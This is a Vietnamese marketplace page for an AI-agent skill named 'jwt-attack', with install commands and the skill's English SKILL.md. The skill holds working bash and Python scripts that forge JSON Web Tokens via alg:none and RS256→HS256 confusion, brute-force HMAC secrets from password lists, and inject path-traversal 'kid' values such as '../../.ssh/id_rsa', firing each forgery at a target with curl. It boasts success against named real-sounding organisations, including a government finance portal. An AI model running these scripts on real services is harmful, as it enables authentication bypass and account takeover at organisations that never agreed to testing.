jwt-attack – skill Bảo mật cho agent AI
Giải mã, giả mạo và brute-force JWT khi thấy header xác thực Bearer.
Cài skill jwt-attack bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/jwt-attack-12e5d.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /jwt-attack – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/jwt-attack-12e5d.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $jwt-attack – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/jwt-attack-12e5d.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /jwt-attack – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/jwt-attack-12e5d.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /jwt-attack – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
JWT Attack Skill
Complete JWT attack methodology — decode without verification, algorithm confusion (alg:none, RS256→HS256), weak secret brute force (hashcat/john/simple), kid injection, expired token reuse, and hardcoded JWT extraction from JS bundles. Confirmed on enterprise-portal (JWT-based sessions), fintech-processor (315 JWT tokens in Efí bank logs), fitness-chain (3 JWT sessions with 2027 expiry), delivery-platform (hardcoded JWTs in JS bundles), and gov-finance-portal (JWT secret leaked in Vite source).
When to Use
- API uses
Authorization: Bearer eyJ...headers. - JavaScript bundles contain
eyJ...token patterns. - After
js-secrets-extractionfinds JWT tokens. - After
api-noauth-huntneeds token forging for auth bypass. - Cookies contain
jwt=,token=, orsession=with base64-encoded values.
Prerequisites
terminalwith curl, python3.- JWT token to attack (from recon).
- For brute force:
hashcatorjohnfor high-speed cracking (optional).
How to Run
# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c "
import sys, base64, json
parts = sys.stdin.read().strip().split('.')
if len(parts) == 3:
for i, part in enumerate(parts[:2]):
try:
padded = part + '=' * (4 - len(part) % 4)
decoded = base64.urlsafe_b64decode(padded)
print(f'--- Part {i} ---')
print(json.dumps(json.loads(decoded), indent=2))
except: print(f'Part {i}: {part[:50]}... (non-JSON)')
"
# Test alg:none attack
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"Quick Reference
| Attack | Prerequisites | Impact | Difficulty |
|--------|-------------|--------|------------|
| alg:none | Server accepts alg: "none" | Full admin access | Easy |
| RS256→HS256 | JWT signed with RS256 | Full admin access | Medium (need public key) |
| Weak HMAC secret | HS256 with weak secret | Full admin access | Medium (need to crack) |
| kid injection | Server trusts kid header | RCE/LFI | Hard |
| Expired token reuse | Server doesn't validate exp | Session persistence | Trivial |
| Hardcoded JWT | JWT found in JS/source | Whatever the JWT grants | Trivial |
Procedure
Phase 1 — JWT Decode & Analysis
JWT="$1"
echo "[*] JWT analysis"
# Split and decode
HEADER=$(echo "$JWT" | cut -d. -f1)
PAYLOAD=$(echo "$JWT" | cut -d. -f2)
SIGNATURE=$(echo "$JWT" | cut -d. -f3)
echo "Header:"
echo "$HEADER" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
print(json.dumps(d, indent=2))
except: print(' (not valid base64 JSON)')
"
echo "Payload:"
echo "$PAYLOAD" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
for k, v in d.items():
if k in ('exp', 'iat', 'nbf'):
from datetime import datetime, timezone
dt = datetime.fromtimestamp(v, tz=timezone.utc)
print(f' {k}: {v} ({dt})')
else:
print(f' {k}: {v}')
except: print(' (not valid base64 JSON)')
"
# Check expiration
EXP=$(echo "$JWT" | cut -d. -f2 | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
d = json.loads(base64.urlsafe_b64decode(padded))
print(d.get('exp', 'no-expiry'))
" 2>/dev/null)
if [[ "$EXP" == "no-expiry" ]]; then
echo "[!] Token has NO expiration — permanent access"
else
NOW=$(date +%s)
if [[ "$EXP" -gt "$NOW" ]]; then
REMAINING=$((EXP - NOW))
DAYS=$((REMAINING / 86400))
echo "[+] Token valid for ${DAYS} more days (expires $(date -d @$EXP))"
else
echo "[-] Token EXPIRED $(date -d @$EXP)"
fi
fiPhase 2 — alg:none Attack
TARGET="$1"
ENDPOINT="$2" # Authenticated endpoint to test
ORIGINAL_JWT="$3" # Any valid JWT to extract claims from
echo "[*] alg:none attack"
# Extract payload from original JWT
PAYLOAD=$(echo "$ORIGINAL_JWT" | cut -d. -f2)
# Forge token with alg=none
FORGED_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.${PAYLOAD}."
echo " Forged token: ${FORGED_TOKEN:0:80}..."
# Test
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
if [[ "$RESP" == "200" ]]; then
echo " [CRITICAL] alg:none ACCEPTED — full admin access!"
else
echo " [-] alg:none rejected (HTTP $RESP)"
fiPhase 3 — RS256→HS256 Key Confusion
TARGET="$1"
ENDPOINT="$2"
PUBLIC_KEY_FILE="$3" # RSA public key (PEM), from /.well-known/jwks.json or source leak
echo "[*] RS256→HS256 key confusion attack"
# Convert public key to symmetric key (the attack: HS256 uses the PUBLIC key as HMAC secret)
JWT_TOOL=$(python3 -c "
import jwt, sys
# Read public key
with open('$PUBLIC_KEY_FILE') as f:
pubkey = f.read()
# Forge admin token
payload = {'admin': True, 'sub': 'admin', 'iat': $(date +%s)}
try:
forged = jwt.encode(payload, pubkey, algorithm='HS256')
print(forged)
except Exception as e:
print(f'Error: {e}', file=sys.stderr)
" 2>/dev/null)
if [[ -n "$JWT_TOOL" ]] && ! echo "$JWT_TOOL" | grep -q "Error"; then
echo " Forged token: ${JWT_TOOL:0:80}..."
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $JWT_TOOL" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "200" ]] && echo " [CRITICAL] RS256→HS256 confusion ACCEPTED!"
else
echo " [-] Forging failed (check public key format)"
fiPhase 4 — Weak HMAC Secret Brute Force
JWT="$1"
WORDLIST="${2:-/usr/share/wordlists/rockyou.txt}"
echo "[*] Quick HS256 secret brute force"
# Fast Python brute force (top 1000 passwords)
echo "$JWT" | python3 -c "
import sys, hmac, hashlib, base64, json
jwt = sys.stdin.read().strip()
header_b64, payload_b64, sig_b64 = jwt.split('.')
header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))
if header.get('alg') != 'HS256':
print('[-] Not HS256 — algorithm is:', header.get('alg'))
sys.exit(0)
# Top secrets to try
secrets = ['secret', 'jwt_secret', 'key', 'password', 'admin', 'changeme',
'SuperSecret', 'mysecretkey', '123456', 'jwt', 'token',
'app_secret', 'secret_key', 'auth_token', 'private_key']
for secret in secrets:
sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED] Secret: {secret}')
break
else:
print('[-] Not in top-15 list')
# Also try from wordlist (first 5000 lines)
try:
with open('$WORDLIST', 'rb') as f:
for i, line in enumerate(f):
if i >= 5000: break
secret = line.strip()
sig = base64.urlsafe_b64encode(
hmac.new(secret, f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED from wordlist] Secret: {secret.decode()}')
break
else:
print('[-] Not in first 5000 wordlist entries')
except FileNotFoundError:
print('[-] Wordlist not found at $WORDLIST')
"Phase 5 — Kid Injection (path traversal / SQLi)
TARGET="$1"
ENDPOINT="$2"
echo "[*] kid header injection test"
# Test path traversal in kid header
for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do
FORGED_HEADER=$(echo -n "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$KID\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.$(echo -n '{"test":1}' | base64 -w0 | tr '+/' '-_' | tr -d '=').dGVzdA"
RESP=$(curl -sk --max-time 5 --connect-timeout 5 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "500" ]] && echo " [POTENTIAL] kid=$KID → HTTP $RESP (server error — may indicate processing)"
sleep 0.3
donePitfalls
- alg:none is rare. Most JWT libraries reject it by default since 2017. But legacy apps exist.
- RS256→HS256 requires the PUBLIC key. This is usually available at
/.well-known/jwks.jsonor in JS bundles. - Brute force is slow in Python. Use
hashcat -m 16500for HS256 orjohnfor production-speed cracking. - Laravel Passport uses
jtivalidation. Even if you forge a valid JWT, Passport checks if
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- helm-chart-builder – Skill và plugin agent phát triển Helm chart cho Claude Code, Codex, Gemini CLI, Cursor…
- meme-coin-audit – Kiểm tra bảo mật meme coin và token — phát hiện rug pull (honeypot, mint ẩn, thao túng…
- changelog-entry – Tạo mục CHANGELOG.md đúng định dạng Keep a Changelog từ khoảng commit hoặc PR. Nhóm thay…
- mid-engagement-ir-detection – Phương pháp phát hiện bản vá SOC của khách hàng, hoạt động tấn công và thay đổi trạng…
- oss-forensics – Điều tra pháp chứng chuỗi cung ứng GitHub: khôi phục, IOC, báo cáo.
- cis-benchmarks – Kiểm tra và khắc phục các vi phạm benchmark CIS.
- incident-response – Dùng khi một sự cố bảo mật đã được phát hiện hoặc khai báo, cần phân loại, sàng lọc ưu…
- information-security-manager-iso27001 – Triển khai ISMS theo ISO 27001 và quản trị an ninh mạng cho các công ty HealthTech và…